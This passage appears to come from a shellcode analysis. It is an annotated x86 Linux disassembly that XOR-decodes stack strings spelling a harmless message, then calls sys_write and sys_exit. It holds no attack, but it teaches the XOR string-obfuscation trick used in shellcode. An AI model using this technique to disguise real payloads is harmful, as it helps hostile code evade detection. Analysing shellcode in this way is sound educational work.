00000040	B94C52494E	mov ecx,0x4e49524c	Value of ECX is set to 0x4e49524c
00000045	81F121212121	xor ecx,0x21212121	Value of ECX is set to 0x6f68736d | 0x4e49524c is XOR'ed with 0x21212121 with result in ECX
0000004B	51	push ecx	Current value of ECX is pushed onto the stack which is 0x6f68736d
0000004C	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
0000004E	B90D014654	mov ecx,0x5446010d	Value of ECX is set to 0x5446010d
00000053	81F121212121	xor ecx,0x21212121	Value of ECX is set to 0x7567202c | 0x5446010d is XOR'ed with 0x21212121 with result in ECX
00000059	51	push ecx	Current value of ECX is pushed onto the stack which is 0x7567202c
0000005A	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
0000005C	B9014B4E43	mov ecx,0x434e4b01	Value of ECX is set to 0x434e4b01
00000061	81F121212121	xor ecx,0x21212121	Value of ECX is set to 0x626f6a20 | 0x434e4b01 is XOR'ed with 0x21212121 with result in ECX
00000067	51	push ecx	Current value of ECX is pushed onto the stack which is 0x626f6a20

00000068	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
0000006A	B94F484244	mov ecx,0x4442484f	Value of ECX is set to 0x4442484f
0000006F	81F121212121	xor ecx,0x21212121	Value of ECX is set to 0x6563696e | 0x4442484f is XOR'ed with 0x21212121 with result in ECX
00000075	51	push ecx	Current value of ECX is pushed onto the stack which is 0x6563696e
00000076	89E1	mov ecx,esp	Current value of the ESP which is a memory address is moved to ECX
00000078	31C0	xor eax,eax	XOR will zero EAX value as XOR'ing with the same value always returns 0
0000007A	B004	mov al,0x4	Move 0x4 in in the least significant bits of register AX.
0000007C	31D2	xor edx,edx	XOR will zero EDX value as XOR'ing with the same value always returns 0
0000007E	B214	mov dl,0x14	Move 0x14 in in the least significant bits of register DX.
00000080	CD80	int 0x80	int 0x80 is used to invoke system calls in x86 linux. Here it is calling sys_write function
00000082	31C0	xor eax,eax	XOR will zero EAX value as XOR'ing with the same value always returns 0
00000084	B006	mov al,0x6	Move 0x6 in in the least significant bits of register AX.
00000086	31DB	xor ebx,ebx	XOR will zero EBX value as XOR'ing with the same value always returns 0
00000088	31C0	xor eax,eax	XOR will zero EAX value as XOR'ing with the same value always returns 0
0000008A	B001	mov al,0x1	Move 0x1 in in the least significant bits of register AX.
0000008C	CD80	int 0x80	int 0x80 is used to invoke system calls in x86 linux. Here it is calling sys_exit function

Thank you!